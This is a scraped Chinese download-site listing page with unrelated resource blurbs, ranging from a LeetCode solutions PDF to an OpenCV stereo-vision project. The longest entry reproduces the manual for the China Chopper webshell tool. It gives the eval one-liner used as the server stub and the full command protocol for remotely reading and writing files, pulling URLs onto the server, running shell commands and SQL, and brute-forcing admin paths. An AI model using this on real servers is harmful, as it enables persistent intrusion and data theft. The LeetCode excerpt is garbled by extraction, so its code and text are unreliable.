仿微信朋友圈和QQ控件点击图片查看大图功能,传入图片的集合和显示的索引,一行代码就能实现,使用开源库Photo和Glide;
可在项目中使用。
请大家多多指点;
2025/1/1 17:39:53 18.76MB 图片浏览
1
对即将找工作的大学生,研究生都爱刷leetcode的题目,但是刚刚接受无法适从,或是一时半会儿想不到解法,没关系,leetcode题解PDF可一带你慢慢了解思路过程。
目录3.4Addbinary615.1.5BinaryTreeLevelOr-3.5LongestPalindromicSubstring.62dertraversalil3.6RegularExpressionMatching665.1.6BinaryTreeZigzag3.7WildcardMatching67LevelOrdertraversal.963.8LongestCommonPrefix5.1.7RecoverBinarySearch3.9ValidNumber70Tree983.10Integertoroman725.1.8SameTree3.11RomantoInteger5.1.9SymmetricTree1013.12CountandSay745.1.10BalancedBinaryTree..1023.13Anagrams755.1.11FlattenBinaryTreeto3.14SimplifyPath76LinkedList1033.15LengthofLastWord775.1.12PopulatingNextRightPointersineachnodeii105第4章栈和队列7952二叉树的构建1074.1栈795.2.1ConstructBinaryTree4ValidParentheses79fromPreorderandIn4.1.2LongestvalidParenorderTraversatheses805.2.2ConstructBinaryTree4.1.3LargestRectangleinfromInorderandposHistogram82torderTraversal1084.14Evaluatereversepol-53二叉查找树109ishnotation845.3.1UniqueBinarySearch4,2队列85Trees5.3.2UniqueBinarySearch第5章树86Treesli.1105.1二叉树的遍历865.3.3ValidateBinarySearch5.1.1BinaryTreePreorderTreeTraversal865.3.4ConvertSortedarrayto5.1.2BinaryTreeInorderBinarySearchTreel12Traversal885.3.5ConvertSortedListto5.1.3BinaryTreePostorderBinarysearchtree113Traversal9054二叉树的递归1155.1.4BinaryTreeLevelOr5.4.1MinimumDepthofBidertraversalnarylree115目录5.4.2MaximumDepthofBi8.32重新实现nextpermunaryTree116tation1425.4.3PathSum117833递归.1435.44PathSumil1188.4PermutationsII1445.4.5BinaryTreeMaximum8.4.1nextpermutation...144PathSuum119842重新实现nextpermu5.4.6PopulatingNextRighttation144Pointersineachnode12084.3递归1445.4.7SumRoottoLeafNum8.5Combinations146bers122851递归146852迭代147第6章排序1238.6LetterCombinationsofaphone6.1MergeSortedArray123umber1476.2MergeTwoSortedLists12486.1递归1486.3MergekSortedLists124862迭代96.4InsertionSortList125第9章广度优先搜索1506.5Sortlist1269.1WordLadder1506.6FirstMissingPositive1279.2WordLadderil..1526.7SortColors289.3Surroundedregions154第7章查找94小结15613194.1适用场景1567.1Searchforarange131942思考的步骤.1567.2SearchInsertPosition.13294.3代码模板1577.3Searcha2DMatrix133第10章深度优先搜索162第8章暴力枚举法13510.1PalindromePartitioning..1628.1Subsets13510.2UniquePaths1658.1.1递归1350.2.1深搜1658.1.2迭代.13710.22备忘录法.1658.2Subsetsil13810.23动规166821递归1381024数学公式167822迭代.14110.3UniquePathsIl1688.3Permutations14210.3.1备忘录法1688.3.1nextpermutation14210.3.2动规.169目录10.4N-Queens16913.4Maximalrectangle19910.5N-QueensII17213.5BestTimetoBuyandSellStock10.6Restoreipaddresses17320010.7CombinationSum17413.6InterleavingString20110.8CombinationSumIl17513.7ScrambleString20310.9GenerateParentheses.17713.8MinimumPathSum20810.10Sudokusolver17813.9EditDistance21010.11WordSearch.18013.10DecodeWays.21210.12小结18113.11DistinctSubsequences21310.12.1适用场景1813.12WordBreak21410.122思考的步骤1811313WordBreakil21610.12.3代码模板183第14章图21810.12.4深拽与回溯法的区别.18414.1CloneGraph10.12.5深搜与递归的区别..184第15章细节实现题221第11章分治法18515.1ReverseInteger2211.1Pow(x,n)18515.2PalindromeNumber222qrt(x18615.3InsertInterval223第12章贪心法18715.4MergeIntervals22412.1Jumpgame18715.5MinimumWindowSubstring..22512.2JumpgameIl18815.6MultiplyStrings22712.3BestTimetobuyandsellstock19015.7SubstringwithConcatenation12.4BestTimetobuyandsellstock191ofallwords23012.5LongestSubstringWithoutre15.8Pascal,sTrianglepeatingCharacters19215.9PascalsTriangleIl23212.6ContainerwithmostWater.19315.10Spiralmatrix23315.11SpiralmatrixII234第13章动态规划19515.12ZigZagConversion23613.1Triangle19515.13DivideTwoIntegers23713.2MaximumSubarray19615.14TextJustification23813.3PalindromePartitioningII19815.15MaxPointsonaline目录第1章编程技巧在判断两个浮点数a和b是否相等时,不要用a=-b,应该判断二者之差的绝对值fabs(a-b)是否小于某个阈值,例如1e-9。
判断一个整数是否是为奇数,用x%2!=0,不要用x%2==1,因为x可能是负数用char的值作为数组下标(例如,统计字符串中每个字符出现的次数),要考虑到char可能是负数。
有的人考虑到了,先强制转型为unsignedint再用作下标,这仍然是错的。
正确的做法是,先强制转型为unsignedchar,再用作下标。
这涉及C++整型提升的规则,就不详述了。
以下是关于STL使用技巧的,很多条款来自《EffectiⅤveStL》这本书。
vector和string优先于动态分配的数组首先,在性能上,由于vector能够保证连续内存,因此一旦分配了后,它的性能跟原始数组相当其次,如果用new,意味着你要确保后面进行了delete,一旦忘记了,就会岀现BUG,且这样需要都写一行delete,代码不够短再次,声明多维数组的话,只能一个一个new,例如:int**ary=newint*[row_num];for(inti=0:i<rownum;++1)ary[i]newint[col_num]用vector的话一行代码搞定,vector<vector<int>>ary(row_num,vector<int>(col_num,0))使用reserve来避免不必要的重新分配第2章线性表这类题目考察线性表的操作,例如,数组,单链表,双向链表等。
21数组2.1.1RemoveDuplicatesfromSortedarray描述Givenasortedarray,removetheduplicatesinplacesuchthateachelementappearonlyonceandreturnthenewlengthDonotallocateextraspaceforanotherarray,youmustdothisinplacewithconstantmemoryForexample,GiveninputarrayA=[1,1,2Yourfunctionshouldreturnlength=2,andaisnow[1,2]分析无代码1/LeetCode,RemoveDuplicatesfromSortedArray/时间复杂度0(n),空间复杂度0(1)classSolutiontublicintremoveDuplicates(intA[],intn)tlf(n==oreturnointindex=0:for(inti=1:i<n:i++iif(Alindex!alidA[++index]=Alireturnindex12.1数组代码2//LeetCode,RemoveDuplicatesfromSortedArray//使用STL,时间复杂度0(n),空间复杂度0(1)classSolutionipublicintremoveDuplicates(intA[,intn)treturndistance(A,unique(A,An))代码3/LeetCode,RemoveDuplicatesfromSortedArray/使用STL,时间复杂度0(n),空间复杂度0(1)lassSolutionfublicintremoveDuplicates(intA[],intn)treturnremoveDuplicates(A,A+n,A)-A;template<typenameInIt,typenameoutit>OutItremoveDuplicates(InItfirst,InItlast,OutItoutput)thile(firstlast)i*output++=*firstfirstupper_bound(first,last,*firstreturnoutput相关题目RemoveduplicatesfromSortedArrayIl,见§2.1.22.1.2RemoveDuplicatesfromSortedArrayII描述Followupfor"RemoveDuplicates"Whatifduplicatesareallowedatmosttwice?Forexample,Givensortedarraya=[1,1,1,2,2,3]Yourfunctionshouldreturnlength=5,andAisnow[1,1,2,2,3分析加一个变量记录一下元素出现的次数即可。
这题因为是已经排序的数组,所以一个变量即可解决。
如果是没有排序的数组,则需要引入一个hashmap来记录出现次数4第2章线性表代码1//LeetCode,RemoveDuplicatesfromSortedArrayII/时间复杂度0(n),空间复杂度0(1)//qauthorhex108(https://github.com/hex108)classSolutiontublicintremoveDuplicates(intA[],intn)tlf(n<=2returnnintindex=2for(inti=2:in:1++)if(all]!Alindex-2])ALindex++]=Ali]returnindex;代码2下面是一个更简洁的版本。
上面的代码略长,不过扩展性好一些,例如将occur<2改为ocur<3,就变成了允许重复最多3次。
//LeetCode,RemoveDuplicatesfromSortedArrayII//@author虞航仲(http://weibo.com/u/1666779725)//时间复杂度0(n),空间复杂度0(1)classSolutionipublicintremoveDuplicates(intA[],intn)tmtindex=ofor(intif(i>0&&i<1&&A[i]==A[i-1]&&A[i]==A[i+1])continueAlindex++]=Alireturnindex;相关题目RemoveDuplicatesfromSortedArray,见§2.1.12.1.3SearchinRotatedSortedArray描述Supposeasortedarrayisrotatedatsomepivotunknowntoyoubeforehand
2024/12/7 0:08:16 1.03MB leetcode题解
1
实现效果:http://v.youku.com/v_show/id_XMTU2Mzk0NjU3Ng==.html如何在你的电脑上运行这个程序?1,它需要cvblobslib这一个opencv的扩展库来实现检测物体与给物体画框的功能,具体安装信息请见:http://dsynflo.blogspot.com/2010/02/cvblobskib-with-opencv-installation.html,当你配置好cvblobslib之后,你可以用这一的程序进行测试:http://dl.dropbox.com/u/110310945/Blobs%20test.rar2,视频中两个摄像头之间的距离是6cm,你可以根据你摄像头的型号,来选择合适的距离来达到最好的效果。
3,在进行测距之前,首先需要对摄像头进行标定,那么如何标定呢?在stdafx.h中把"#defineCALIBRATION0"改成“#defineCALIBRATION1”表示进行标定,标定之后,你就可以在工程目录下的"CalibFile"文件夹中得到标定信息的文件。
如果标定效果还不错,你就可以吧"#defineCALIBRATION"改成0,以后就不需要再标定,直接使用上一次的标定信息。
你还需要把"#defineANALYSIS_MODE1"这行代码放到stdafx.h中。
4,视频中使用的是10*7的棋牌格,共摄录40帧来计算摄像头的各种参数,如果你像使用其他棋盘格,可以在"StereoFunctions.cpp"文件中修改相应参数。
5,如果你无法打开摄像头,可以在"StereoGrabber.cpp"文件中修改代码“cvCaptureFromCAM(index)”中index的值。
6,Aboutcomputingdistance:itinterpolatestherelationshipbetweendepth-valueandreal-distancetothirddegreepolynomial.Soiusedexcelfile"interpolation"forinterpolationtofindk1tok4,youshouldfindyourownvalueoftheseparameters.7,你可以通过调整控制窗口中各个参数的滑块,从而来得到更好的视差图。
8,在目录下的”distance“文件夹中,有计算距离信息的matlab代码。
9,如果你想了解基本的理论,可以看一下这个文档和代码(视频里的代码其实就是根据这个代码改的):http://scholar.lib.vt.edu/theses/available/etd-12232009-222118/unrestricted/Short_NJ_T_2009.pdf视频中环境:vs2008,opencv2.1
2024/11/10 7:30:13 24.09MB opencv 双目测距 双目标定 双目视觉
1
IrisSkin是为MircrosoftVisualStudio开发的最易用的界面增强.NET(WinForm)组件包。
它能完全自动的为您的应用程序添加支持换肤功能,甚至不需要更改您的设计好的Form以及添加一行代码!您也不再需要花费很多时间来使得自己的应用程序更漂亮。
这个程序含有80种风格,1500多个透明1500多个透明水晶按钮素材包水晶按钮素材包,是Winform界面美化的最好工具之一。
最大的一个一个好处是全部免费。
为你节约了1000元不等。


2024/11/9 4:56:33 5.91MB IrisSkin Winform 界面 皮肤
1
52万行代码,献给酷爱有限元以及matlab的人.这可是我花钱买来的.希望大家喜欢
2024/11/5 7:08:19 104KB matlab 有限元
1
产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
1
个人学习qt时写的小游戏,对于qt学习者来说,很负责的告诉你,肯定有帮助,每行代码都加了注释,能一步一步看得懂。
2024/10/23 2:33:26 2.18MB Qt QT学习 QT游戏 c++
1
windows程序设计D2D游戏开发新手学习参考用,自己以前写的一个练手游戏类似魔域实战型的12300行代码,一次传不完其他资源QQ2216908086
2024/10/6 4:29:28 822KB directx 微软
1
Android第一行代码源码。
注意不是电子书,是全书的源码。
2024/9/24 1:08:31 45.48MB Androi Androi Androi
1
触动精灵专业版批量启动投屏控制脚本动态界面配置群控软件任意脚本配合中控即可快速支持群控功能,自动更新功能,配置界面功能原有的专业版、企业版脚本只需要增加一行代码即可对接本中控支持自定义远程脚本源,安全方便,支持远程自动更新
2024/9/11 18:19:13 5.79MB 触动专业版 触动精灵 中控
1
共 174 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡